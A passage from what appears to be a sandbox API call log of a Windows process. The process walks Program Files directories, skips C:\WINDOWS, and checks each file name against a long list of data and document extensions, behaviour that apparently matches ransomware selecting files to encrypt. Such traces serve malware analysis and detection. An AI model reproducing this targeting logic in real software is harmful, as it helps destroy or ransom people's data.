ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0104.644] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.644] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0104.644] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.644] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0104.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.645] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0104.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.645] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0104.646] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.646] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0104.647] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.647] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0104.647] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.647] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0104.647] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.647] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0104.649] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.649] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0104.649] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.649] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0104.649] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.649] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0104.650] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.650] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0104.651] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.651] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0104.652] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.652] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0104.652] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.652] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0104.652] FindClose (in: hFindFile=0x3e50240 | out: hFindFile=0x3e50240) returned 1 [0104.652] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0104.652] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0104.653] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.654] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0104.654] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0104.656] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0104.678] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.678] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0104.678] FindClose (in: hFindFile=0x3e50140 | out: hFindFile=0x3e50140) returned 1 [0104.678] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0104.679] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0104.832] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0104.833] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0104.891] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0104.891] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0104.944] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0104.944] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0104.944] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f03e98 | out: hHeap=0x4b0000) returned 1 [0104.944] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0104.945] FindClose (in: hFindFile=0x3e50400 | out: hFindFile=0x3e50400) returned 1 [0104.945] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0104.945] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0104.999] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f03e98 | out: hHeap=0x4b0000) returned 1 [0104.999] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0104.999] FindClose (in: hFindFile=0x3e50600 | out: hFindFile=0x3e50600) returned 1 [0105.000] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0105.000] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0105.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC") returned 49 [0105.000] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Common Files\\microsoft shared\\VC") returned 1 [0105.000] lstrlenW (lpString="VC") returned 2 [0105.000] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="VC") returned -1 [0105.000] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3ea3e80 [0105.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC") returned 49 [0105.000] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50140 [0105.002] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.002] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8127e00, ftCreationTime.dwHighDateTime=0x1cbd076, ftLastAccessTime.dwLowDateTime=0xcd0a4098, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd8127e00, ftLastWriteTime.dwHighDateTime=0x1cbd076, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0105.002] lstrlenW (lpString="msdia100.dll") returned 12 [0105.002] lstrlenW (lpString=".1cd") returned 4 [0105.002] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0105.002] lstrlenW (lpString=".3ds") returned 4 [0105.002] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0105.002] lstrlenW (lpString=".3fr") returned 4 [0105.002] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0105.002] lstrlenW (lpString=".3g2") returned 4 [0105.002] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0105.002] lstrlenW (lpString=".3gp") returned 4 [0105.002] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0105.002] lstrlenW (lpString=".7z") returned 3 [0105.002] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0105.002] lstrlenW (lpString=".accda") returned 6 [0105.002] lstrcmpiW (lpString1=".accda", lpString2="00.dll") returned -1 [0105.002] lstrlenW (lpString=".accdb") returned 6 [0105.002] lstrcmpiW (lpString1=".accdb", lpString2="00.dll") returned -1 [0105.002] lstrlenW (lpString=".accdc") returned 6 [0105.002] lstrcmpiW (lpString1=".accdc", lpString2="00.dll") returned -1 [0105.002] lstrlenW (lpString=".accde") returned 6 [0105.003] lstrcmpiW (lpString1=".accde", lpString2="00.dll") returned -1 [0105.003] lstrlenW (lpString=".accdt") returned 6 [0105.003] lstrcmpiW (lpString1=".accdt", lpString2="00.dll") returned -1 [0105.003] lstrlenW (lpString=".accdw") returned 6 [0105.003] lstrcmpiW (lpString1=".accdw", lpString2="00.dll") returned -1 [0105.003] lstrlenW (lpString=".adb") returned 4 [0105.003] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0105.003] lstrlenW (lpString=".adp") returned 4 [0105.003] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0105.003] lstrlenW (lpString=".ai") returned 3 [0105.003] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0105.003] lstrlenW (lpString=".ai3") returned 4 [0105.003] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0105.003] lstrlenW (lpString=".ai4") returned 4 [0105.003] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0105.003] lstrlenW (lpString=".ai5") returned 4 [0105.003] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0105.004] lstrlenW (lpString=".ai6") returned 4 [0105.004] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0105.004] lstrlenW (lpString=".ai7") returned 4 [0105.004] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0105.004] lstrlenW (lpString=".ai8") returned 4 [0105.004] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0105.004] lstrlenW (lpString=".anim") returned 5 [0105.004] lstrcmpiW (lpString1=".anim", lpString2="0.dll") returned -1 [0105.004] lstrlenW (lpString=".arw") returned 4 [0105.004] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0105.004] lstrlenW (lpString=".as") returned 3 [0105.004] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0105.004] lstrlenW (lpString=".asa") returned 4 [0105.004] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0105.004] lstrlenW (lpString=".asc") returned 4 [0105.004] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0105.004] lstrlenW (lpString=".ascx") returned 5 [0105.004] lstrcmpiW (lpString1=".ascx", lpString2="0.dll") returned -1 [0105.004] lstrlenW (lpString=".asm") returned 4 [0105.004] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0105.004] lstrlenW (lpString=".asmx") returned 5 [0105.004] lstrcmpiW (lpString1=".asmx", lpString2="0.dll") returned -1 [0105.004] lstrlenW (lpString=".asp") returned 4 [0105.004] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0105.004] lstrlenW (lpString=".aspx") returned 5 [0105.005] lstrcmpiW (lpString1=".aspx", lpString2="0.dll") returned -1 [0105.005] lstrlenW (lpString=".asr") returned 4 [0105.005] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0105.005] lstrlenW (lpString=".asx") returned 4 [0105.005] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0105.005] lstrlenW (lpString=".avi") returned 4 [0105.005] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0105.005] lstrlenW (lpString=".avs") returned 4 [0105.005] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0105.005] lstrlenW (lpString=".backup") returned 7 [0105.005] lstrcmpiW (lpString1=".backup", lpString2="100.dll") returned -1 [0105.005] lstrlenW (lpString=".bak") returned 4 [0105.005] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0105.005] lstrlenW (lpString=".bay") returned 4 [0105.005] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0105.005] lstrlenW (lpString=".bd") returned 3 [0105.005] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0105.005] lstrlenW (lpString=".bin") returned 4 [0105.005] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0105.006] lstrlenW (lpString=".bmp") returned 4 [0105.006] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0105.006] lstrlenW (lpString=".bz2") returned 4 [0105.006] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0105.006] lstrlenW (lpString=".c") returned 2 [0105.006] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0105.006] lstrlenW (lpString=".cdr") returned 4 [0105.006] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0105.006] lstrlenW (lpString=".cer") returned 4 [0105.006] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0105.006] lstrlenW (lpString=".cf") returned 3 [0105.006] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0105.006] lstrlenW (lpString=".cfc") returned 4 [0105.006] 